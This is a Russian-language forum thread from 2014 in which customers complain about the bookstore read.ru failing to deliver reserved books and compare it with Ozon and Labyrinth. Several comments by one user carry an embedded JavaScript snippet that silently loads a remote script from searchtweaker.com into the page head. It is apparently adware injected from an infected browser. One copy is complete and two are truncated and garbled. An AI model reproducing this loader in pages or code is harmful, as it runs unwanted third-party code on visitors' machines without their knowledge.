read.ru - как так можно работать?
обсуждение прочитанногоДевочки! Я вообще не понимаю - это только в риде или везде так? Я оплатила заказ, из 30 книг - 29 были в статусе - на складе (зарезервировано). 1 книгу обещали 29 апреля. Сижу жду.... И вот захожу сейчас в свой заказ, а там почти половина позиций - ожидаются 28, 29, 30 апреля... Это как? Звоню в рид, они мне говорят - книг нет на складе, но вы же уже закрепили их за мной????????? ой, у нас это редко так бывает... подождите до 30 апреля книги должный прийти.
ААААААААААААА!!!!!!!!!
Девочки посоветуйте что делать????? Деньги можно вернуть ? Я первый раз заказывала и в риде делала заказ только потому что книги были в наличии...
Скажите в лабиринте и озоне - то же самое творится?
Эльвира
Никто из перечисленных магазинов своих складов не имеет. Вы можете представить какие склады должны быть с таким ассортиментом? Все заказы набираются от издательств. Поэтому и возникают такие проблемы с наличием книг.
28.04.2014
Ответить
May
Тогда не нужно было ставить мне книги в статус — зарезервировано, так и нужно было написать — нет в наличии. Деньги они получили, а товар не доставили. Или они обязаны после появления книги отправлять почтой или курьером за счет компании.
29.04.2014
Ответить
Светлана
как раз жду посылку из озона... Когда собирала корзину, все книги в наличии были,прошло полторы недели (хотя доставка через три дня должна была быть), а ,оказывается, половину вообще сняли с тиража, и их не доставят... Видимо, это мой последний заказ у них...
25.04.2014
Ответить
Светлана
что-то магазины косячить начали с заказами, поэтому стараюсь оплату налом производить. Если, конечно, есть такая возможность.
25.04.2014
Ответить
Мария
может как раз поэтому оставляют за собой право не резервировать за вами товар? если одновременно я и вы закажем и я предоплатой оплачу, а товар один на двух желающих, думаю, его отправят тому, кто с предоплатой... нет, я не спорю, просто рассуждаю))) просто у меня ни разу не было такой ситуации за 5 лет
но я всегда по предоплате и ПР доставка. у меня других вариантов просто нет)
но я всегда по предоплате и ПР доставка. у меня других вариантов просто нет)
25.04.2014
Ответить
Надежда
У меня именно такое только с Ридом. Сейчас вот опять жду заказ — уже почти месяц. То одно пропало, то другое. Потом вроде как собрали (удалили 5 позиций), отправили... И уже неделю тишина... Сегодня в ПВЗ наш пришел Рид — моего заказа не было... В общем в Рид заказываю если уж очень большие скидки (например по Риполу была)....
25.04.2014
Ответить
Ольга
Мне как то позвонили по заказу из Рида — сказали что книги больше не будет и я заменила эту книгу на что то еще, чтобы добрать до нужной суммы ( доставка осталась по прежней цене, иначе бы пришлось доплачивать за нее). Можно позвонить и аннулировать часть заказа. Лучше, конечно, брать книги с отгрузкой в день заказа, либо разбивать его на два — с отгрузкой в день заказа и остальные... В озоне даже не звонят — если книги нет у поставщика — просто убирают ее из заказа и высылают без нее, но плюс что не пересчитывают доставку при этом.
25.04.2014
Ответить
МамаСыновей (Наташа)
Вам повезло, а мне просто позвонили когда я гуляла с детьми и сказали, что одной позиции нет, поэтому отправят как есть, я согласилась, только дома сообразила, что без неё придется не 70 рублей, а 500 платить за доставку, отказалась. Несколько раз порывалась сделать у них еще заказ, но что-то останавливало после этого.
25.04.2014
Ответить
Ольга
А они мне сами напомнили, я бы тоже сразу не сообразила, вероятно были возвраты.. редко заказываю у них, недавно на акцию соблазнилась книги издательства Рипол с 80% скидкой, так на одну книгу сроки поставки переносят .. ну да ладно, особо не тороплюсь.
25.04.2014
Ответить
МамаСыновей (Наташа)
Видимо вам человечный оператор попался), а моей собеседнице было все равно)
25.04.2014
Ответить
Валери
Я постоянно заказываю книги в риде, бывают иногда, но редко задержки, тоже заказ сделала, должен был прийти в пункт самовывоза 25, сижу жду смсВ лабиринте книги намного дороже, не советую, в озоне не заказывала- не знаю как у них там[removed](function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();[removed]
25.04.2014
Ответить
Наталия
А для меня Рид самый дорогой магазин, перед покупкой всегда сравниваю цены во всех трех и в Риде всегда "потолок", еще и доставка дорогая. Поэтому там никогда не заказываю
25.04.2014
Ответить
Валери
Ой, ну не знаю, всегда сравниваю цены в риде и лабиринте, и в последнем ВСЕГДА дороже. Насчет доставки может, да,в риде дороже немного.У нас наверное разные риды
[removed](function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script. (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script. header.appendChild(script);} catch(e) {}})();[removed]
[removed](function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script. (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script. header.appendChild(script);} catch(e) {}})();[removed]
25.04.2014
Ответить
Мария
уже лет 5 в Озоне заказываю ни разу такого не было. Если есть — значит есть!
25.04.2014
Ответить
Anuta
У меня в озоне дважды удаляли книги из статуса под заказОба раза Шарль ПерроПрям мистикаВсе остальное идеально , точно по времени и без накладокНо всегда извиняются и предлагают скидку 5% разово
25.04.2014
Ответить
Мария
ну "под заказ", я так понимаю, это значит, что на складе у них нет, они как бы обещают привезти от поставщика. Но ведь на какой-то момент и у поставщика может этой книги не оказаться... поэтому, я думаю, это нормальная ситуация... Вот если бы товар висел в наличии, ты оформил заказ, оплатил, а он бах и пропал, тут уж конечно))))
25.04.2014
Ответить
Mariya Lu
У меня один раз Озон книгу из наличия анулировали в заказе,но, думаю по той причине что ее нет нигде. Видимо как появилась,сразу несколько заказов оформили люди в том числе и я и склад не успели обновить. Но приятно,что акцию 5-я за рубль не пересчитали и скидку дали еще.А Рид конкретно заманивает так и отгружать не хочет:(
25.04.2014
Ответить
felisa
Такое только в Риде бывает.В Озоне могут удалить из заказа книги со статусом "Под заказ".В Лабиринте, бывает, аннулируют по причине брака. Не знаю, тут пишут, что Лабиринт этим грешит в акции, за 4 года не наблюдала такого, а заказов у меня больше сотни. В последние полгода вообще почти ничего не аннулируют. Может везет.
25.04.2014
Ответить
Наталия
Нет, не везет, я тоже заметила, что уже давно такого не бывает, с осени точно, все четко
25.04.2014
Ответить
Валентина
У меня такое было только в риде. Заказ в итоге ждала около месяца, и привезли не все. У них еще при получении нельзя отказываться от части заказа, неудобно очень.Больше всего нравится Озон, в Лабе тоже заказываю по акциям
25.04.2014
Ответить
Ольга
в Лабиринте такого не встречала, если что заказано и заказ отправлен, мне привозили все.
25.04.2014
Ответить
Анна
Это для них обычная ситуация. У меня так в заказе часть позиций то пропадали, то появлялись. В итоге часть так и не было, но через пару дней после получения заказа некоторые все же появились на складе — было обидно. И еще у них нельзя частично отказаться от заказа при получении, даже если есть явный брак: либо оказываетесь от всего, либо забираете все и потом заморачиваетесь с возвратом/обменом. Озон в этом плане удобнее — там можно часть позиций сразу вернуть.
25.04.2014
Ответить
May
подожду наверное до 30 апреля, если не будет книг, буду возвращать деньги, закажу в озоне или в лабе
25.04.2014
Ответить
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.
наверно судьба)))